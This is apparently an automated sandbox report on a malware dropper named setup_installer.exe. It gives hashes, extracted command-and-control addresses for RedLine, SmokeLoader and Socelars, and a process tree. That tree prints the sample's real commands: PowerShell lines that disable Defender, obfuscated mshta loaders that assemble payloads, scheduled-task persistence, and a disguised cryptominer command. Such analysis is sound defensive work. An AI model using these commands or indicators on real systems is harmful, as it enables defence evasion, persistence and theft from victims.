Overview

overview

10

Static

static

setup_installer.exe

windows7_x64

10

setup_installer.exe

windows7_x64

10

setup_installer.exe

windows7_x64

10

setup_installer.exe

windows11_x64

10

setup_installer.exe

windows10_x64

10

setup_installer.exe

windows10_x64

10

setup_installer.exe

windows10_x64

10

Resubmissions

28-10-2021 15:53

211028-tbqhfabhb2 10

28-10-2021 05:27

211028-f5paksheak 10

27-10-2021 14:29

211027-rt28vafah7 10

Analysis

  • max time kernel
    20s
  • max time network
    1809s
  • submitted
    01-01-1970 00:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_installer.exe

  • Size

    4.6MB

  • MD5

    b356bccf8b9aff2897ecc42970367f44

  • SHA1

    fe06861ac4952834ddc290dd5e0e7f36c8adc018

  • SHA256

    b9325691870376c72e29be06648c8106ceefd9a94dbbfbee9a4fc2b76fc9b6d3

  • SHA512

    7fc510e5575e36919c302ff053eef6f7cb5700e9e011fb5d85dd80c5ec9c97664dcad8b6607b68b10daf8a6fbc584ff1218c30e541431fd32570da8553c662b7

Score
10/10
redlinesmokeloadersocelarsmedia26aspackv2backdoorinfostealerspywarestealertrojan

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

media26

C2

91.121.67.60:23325

Extracted

Family

smokeloader

Version

2020

C2

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/
rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • autoit_exe 5 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 4 IoCs
    evasion
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS064998E5\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
          PID:1388
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            4⤵
              PID:1088
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            3⤵
              PID:1380
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                4⤵
                  PID:1544
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed09f257bb7877d00b2.exe
                3⤵
                • Loads dropped DLL
                PID:1664
                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09f257bb7877d00b2.exe
                  Wed09f257bb7877d00b2.exe
                  4⤵
                  • Executes dropped EXE
                  PID:1596
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed09b3a5ca1a712d390.exe
                3⤵
                • Loads dropped DLL
                PID:976
                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09b3a5ca1a712d390.exe
                  Wed09b3a5ca1a712d390.exe
                  4⤵
                    PID:1104
                    • C:\Users\Admin\AppData\Roaming\1855448.exe
                      "C:\Users\Admin\AppData\Roaming\1855448.exe"
                      5⤵
                        PID:2652
                      • C:\Users\Admin\AppData\Roaming\1736709.exe
                        "C:\Users\Admin\AppData\Roaming\1736709.exe"
                        5⤵
                          PID:2832
                        • C:\Users\Admin\AppData\Roaming\7187603.exe
                          "C:\Users\Admin\AppData\Roaming\7187603.exe"
                          5⤵
                            PID:2828
                          • C:\Users\Admin\AppData\Roaming\8912629.exe
                            "C:\Users\Admin\AppData\Roaming\8912629.exe"
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1696
                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                              "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                              6⤵
                                PID:2580
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Wed09d8d6edfaff2ac.exe
                          3⤵
                          • Loads dropped DLL
                          PID:1680
                          • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d8d6edfaff2ac.exe
                            Wed09d8d6edfaff2ac.exe
                            4⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2040
                            • C:\Users\Admin\Pictures\Adobe Films\yGmfonyxYbISb2xD7KXB8tzK.exe
                              "C:\Users\Admin\Pictures\Adobe Films\yGmfonyxYbISb2xD7KXB8tzK.exe"
                              5⤵
                                PID:2564
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 1488
                                5⤵
                                • Program crash
                                PID:2908
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Wed096a1bff61.exe
                            3⤵
                            • Loads dropped DLL
                            PID:916
                            • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed096a1bff61.exe
                              Wed096a1bff61.exe
                              4⤵
                              • Executes dropped EXE
                              PID:1324
                              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                5⤵
                                  PID:2420
                                  • C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe
                                    "C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"
                                    6⤵
                                      PID:1556
                                      • C:\Users\Admin\AppData\Roaming\203948.exe
                                        "C:\Users\Admin\AppData\Roaming\203948.exe"
                                        7⤵
                                          PID:3748
                                        • C:\Users\Admin\AppData\Roaming\1013177.exe
                                          "C:\Users\Admin\AppData\Roaming\1013177.exe"
                                          7⤵
                                            PID:3852
                                          • C:\Users\Admin\AppData\Roaming\8689308.exe
                                            "C:\Users\Admin\AppData\Roaming\8689308.exe"
                                            7⤵
                                              PID:3868
                                            • C:\Users\Admin\AppData\Roaming\3119675.exe
                                              "C:\Users\Admin\AppData\Roaming\3119675.exe"
                                              7⤵
                                                PID:3948
                                              • C:\Users\Admin\AppData\Roaming\3526401.exe
                                                "C:\Users\Admin\AppData\Roaming\3526401.exe"
                                                7⤵
                                                  PID:3964
                                                • C:\Users\Admin\AppData\Roaming\6804760.exe
                                                  "C:\Users\Admin\AppData\Roaming\6804760.exe"
                                                  7⤵
                                                    PID:2512
                                                  • C:\Users\Admin\AppData\Roaming\1794707.exe
                                                    "C:\Users\Admin\AppData\Roaming\1794707.exe"
                                                    7⤵
                                                      PID:4072
                                                  • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                    6⤵
                                                      PID:2708
                                                    • C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
                                                      6⤵
                                                        PID:2092
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2092 -s 904
                                                          7⤵
                                                          • Program crash
                                                          PID:2524
                                                      • C:\Users\Admin\AppData\Local\Temp\4.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                                        6⤵
                                                          PID:1684
                                                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                            7⤵
                                                              PID:3496
                                                          • C:\Users\Admin\AppData\Local\Temp\5.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                                            6⤵
                                                              PID:1656
                                                              • C:\Windows\system32\WerFault.exe
                                                                C:\Windows\system32\WerFault.exe -u -p 1656 -s 1404
                                                                7⤵
                                                                • Program crash
                                                                PID:4012
                                                            • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                              6⤵
                                                                PID:1884
                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                  "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                  7⤵
                                                                    PID:1580
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                      8⤵
                                                                        PID:2308
                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                          taskkill -f -iM "search_hyperfs_206.exe"
                                                                          9⤵
                                                                          • Kills process with taskkill
                                                                          PID:3096
                                                                        • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                          ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                          9⤵
                                                                            PID:3088
                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                              10⤵
                                                                                PID:3140
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                  11⤵
                                                                                    PID:3436
                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                  "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                  10⤵
                                                                                    PID:3560
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                      11⤵
                                                                                        PID:3716
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                          12⤵
                                                                                            PID:3804
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                            12⤵
                                                                                              PID:3796
                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                              msiexec -Y ..\lXQ2g.WC
                                                                                              12⤵
                                                                                                PID:3200
                                                                                  • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                    6⤵
                                                                                      PID:2144
                                                                                    • C:\Users\Admin\AppData\Local\Temp\wangting-game.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\wangting-game.exe"
                                                                                      6⤵
                                                                                        PID:1324
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                        6⤵
                                                                                          PID:2224
                                                                                        • C:\Users\Admin\AppData\Local\Temp\10.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\10.exe"
                                                                                          6⤵
                                                                                            PID:2388
                                                                                          • C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                                            6⤵
                                                                                              PID:2364
                                                                                              • C:\Windows\System32\conhost.exe
                                                                                                "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                                                7⤵
                                                                                                  PID:3596
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                    8⤵
                                                                                                      PID:3436
                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                        9⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:3412
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                      8⤵
                                                                                                        PID:3736
                                                                                                        • C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                          C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                          9⤵
                                                                                                            PID:3812
                                                                                                            • C:\Windows\System32\conhost.exe
                                                                                                              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                              10⤵
                                                                                                                PID:3968
                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                                  11⤵
                                                                                                                    PID:3300
                                                                                                                    • C:\Windows\System32\conhost.exe
                                                                                                                      "C:\Windows\System32\conhost.exe" "/sihost64"
                                                                                                                      12⤵
                                                                                                                        PID:1352
                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                      C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
                                                                                                                      11⤵
                                                                                                                        PID:2344
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c Wed0971f17486f8.exe
                                                                                                        3⤵
                                                                                                        • Loads dropped DLL
                                                                                                        PID:1952
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0971f17486f8.exe
                                                                                                          Wed0971f17486f8.exe
                                                                                                          4⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Loads dropped DLL
                                                                                                          PID:1060
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0971f17486f8.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0971f17486f8.exe
                                                                                                            5⤵
                                                                                                              PID:2472
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c Wed09db0d52c38.exe
                                                                                                          3⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:544
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09db0d52c38.exe
                                                                                                            Wed09db0d52c38.exe
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Loads dropped DLL
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1812
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                              5⤵
                                                                                                                PID:2068
                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                  6⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:1540
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c Wed0901eb1dae126e32.exe
                                                                                                            3⤵
                                                                                                            • Loads dropped DLL
                                                                                                            PID:1268
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0901eb1dae126e32.exe
                                                                                                              Wed0901eb1dae126e32.exe
                                                                                                              4⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:1880
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0901eb1dae126e32.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0901eb1dae126e32.exe
                                                                                                                5⤵
                                                                                                                  PID:2464
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0901eb1dae126e32.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed0901eb1dae126e32.exe
                                                                                                                  5⤵
                                                                                                                    PID:2548
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c Wed09cfb2f9758281d8.exe /mixone
                                                                                                                3⤵
                                                                                                                • Loads dropped DLL
                                                                                                                PID:860
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09cfb2f9758281d8.exe
                                                                                                                  Wed09cfb2f9758281d8.exe /mixone
                                                                                                                  4⤵
                                                                                                                  • Loads dropped DLL
                                                                                                                  PID:668
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "Wed09cfb2f9758281d8.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09cfb2f9758281d8.exe" & exit
                                                                                                                    5⤵
                                                                                                                      PID:2816
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill /im "Wed09cfb2f9758281d8.exe" /f
                                                                                                                        6⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:2864
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c Wed09e95ff6b5.exe
                                                                                                                  3⤵
                                                                                                                  • Loads dropped DLL
                                                                                                                  PID:1480
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09e95ff6b5.exe
                                                                                                                    Wed09e95ff6b5.exe
                                                                                                                    4⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                    PID:1824
                                                                                                                    • C:\Users\Public\run.exe
                                                                                                                      C:\Users\Public\run.exe
                                                                                                                      5⤵
                                                                                                                        PID:3024
                                                                                                                      • C:\Users\Public\run2.exe
                                                                                                                        C:\Users\Public\run2.exe
                                                                                                                        5⤵
                                                                                                                          PID:3056
                                                                                                                          • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                            "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/18tji7
                                                                                                                            6⤵
                                                                                                                              PID:2464
                                                                                                                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2464 CREDAT:275457 /prefetch:2
                                                                                                                                7⤵
                                                                                                                                  PID:1876
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c Wed09c42cad92c20f79.exe
                                                                                                                          3⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:932
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09c42cad92c20f79.exe
                                                                                                                            Wed09c42cad92c20f79.exe
                                                                                                                            4⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:1036
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 1408
                                                                                                                              5⤵
                                                                                                                              • Program crash
                                                                                                                              PID:2592
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c Wed09977fdc12334.exe
                                                                                                                          3⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:1224
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09977fdc12334.exe
                                                                                                                            Wed09977fdc12334.exe
                                                                                                                            4⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2044
                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\QNAWwcTtjYAlXHUSLsw6WwS_.exe
                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\QNAWwcTtjYAlXHUSLsw6WwS_.exe"
                                                                                                                              5⤵
                                                                                                                                PID:1056
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 852
                                                                                                                                5⤵
                                                                                                                                • Program crash
                                                                                                                                PID:2712
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c Wed094c47c32b.exe
                                                                                                                            3⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:1708
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed094c47c32b.exe
                                                                                                                              Wed094c47c32b.exe
                                                                                                                              4⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:1928
                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                "C:\Windows\System32\mshta.exe" VbScript: cLOSE ( CREatEObJEcT ( "WSCRIpt.ShELL" ). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed094c47c32b.exe"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF """" == """" for %L IN (""C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed094c47c32b.exe"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe) )
                                                                                                                                5⤵
                                                                                                                                  PID:2152
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed094c47c32b.exe" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF "" == "" for %L IN ("C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed094c47c32b.exe" ) do taskkill -f -im "%~nxL"
                                                                                                                                    6⤵
                                                                                                                                      PID:2160
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE
                                                                                                                                        XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF
                                                                                                                                        7⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        PID:1980
                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                          "C:\Windows\System32\mshta.exe" VbScript: cLOSE ( CREatEObJEcT ( "WSCRIpt.ShELL" ). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF ""/Pgxf5hQhM5tF "" == """" for %L IN (""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe) )
                                                                                                                                          8⤵
                                                                                                                                            PID:2772
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF "/Pgxf5hQhM5tF " == "" for %L IN ("C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE" ) do taskkill -f -im "%~nxL"
                                                                                                                                              9⤵
                                                                                                                                                PID:2436
                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                              "C:\Windows\System32\mshta.exe" vbsCriPt: closE ( CrEaTeoBJecT ( "WsCRiPT.ShEll" ). RuN ( "cmd /R EcHO | SEt /p = ""MZ"" > OsuKT1.9t & cOPY /B /y OsuKT1.9t + XRB2l6FD.IlF +9Odf.6 PEQqN6S.Ou & STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t ", 0 , True ) )
                                                                                                                                              8⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              PID:1104
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /R EcHO | SEt /p = "MZ" > OsuKT1.9t & cOPY /B /y OsuKT1.9t + XRB2l6FD.IlF+9Odf.6 PEQqN6S.Ou & STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t
                                                                                                                                                9⤵
                                                                                                                                                  PID:2144
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>OsuKT1.9t"
                                                                                                                                                    10⤵
                                                                                                                                                      PID:2604
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" EcHO "
